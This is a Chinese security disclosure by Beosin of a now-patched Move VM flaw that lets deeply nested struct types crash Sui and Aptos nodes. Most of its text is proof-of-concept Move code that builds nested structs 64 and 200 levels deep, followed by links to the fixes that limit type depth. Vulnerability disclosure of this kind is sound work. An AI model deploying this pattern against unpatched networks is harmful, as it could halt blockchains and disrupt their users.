其他
Beosin发现Move VM严重级别漏洞:可导致 Sui、Aptos 等公链全网崩溃,甚至可能硬分叉
*本文作者:Beosin安全专家Poet
目前该漏洞已被官方修复。Suimainnet_v1.2.1、Aptosmainnet_v1.4.3、Move语言2023年6月10日之后的版本修复了此漏洞。
前言
知识前提
my_move_package:
├── Move.lock
├── Move.toml
├── sources
├── my_module.move
module helloworld::hello {
struct CCC {
c : u64
}
}
module my_module::my_module{
struct BBB {
b : helloworld::hello::CCC
}
struct AAA {
a : BBB
}
public fun mint( c_param : helloworld::hello::CCC ){
let a1 = AAA {
a : BBB {
b : c_param
}
};
let a2 = AAA {
a : BBB {
b : helloworld::hello::CCC {
c : 0x555
}
}
};
}
}
漏洞描述
module hello_world_2::hello{
use std::string;
use sui::object::{Self, UID};
use sui::transfer;
use sui::tx_context::{Self, TxContext};
struct T_0 has key,store{
id : UID,
m : hello_world_1::hello::T_63
}
struct T_1 has key,store{
id : UID,
m : T_0
}
........other not printed.........
struct T_62 has key,store{
id : UID,
m : T_61
}
struct T_63 has key,store{
id : UID,
m : T_62
}
public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) {
let object = T_63{
id: object::new(ctx),
m : T_62{
id: object::new(ctx),
m : T_61{
id: object::new(ctx),
........other not printed.........
m : T_1{
id: object::new(ctx),
m : T_0{
id: object::new(ctx),
m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
transfer::transfer(object, tx_context::sender(ctx));
}
}
module Test2::test_module2{
struct Struct0 has key,store,drop {
m : Test1::test_module1::Struct200
}
struct Struct1 has key,store,drop{
m : Struct0
}
........other not printed.........
struct Struct199 has key,store,drop{
m : Struct198
}
struct Struct200 has key,store,drop{
m : Struct199
}
public entry fun mint(_account : signer){
let previous0 = 5554444;
let previous1 = Test0::test_module0::test_function(previous0);
let previous2 = Test1::test_module1::test_function(previous1);
let _current = test_function(previous2);
}
public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{
let object = Struct200{
m:Struct199{
........other not printed.........
m:Struct1{
m:Struct0{
m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
object
}
}
漏洞修复
https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e3
5d986963
和Sui一样,补丁代码在创建struct、vec、generic的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。
Move语言补丁代码:
https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2
和Sui、Aptos一样,补丁代码在创建struct、vec、generic的地方,对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。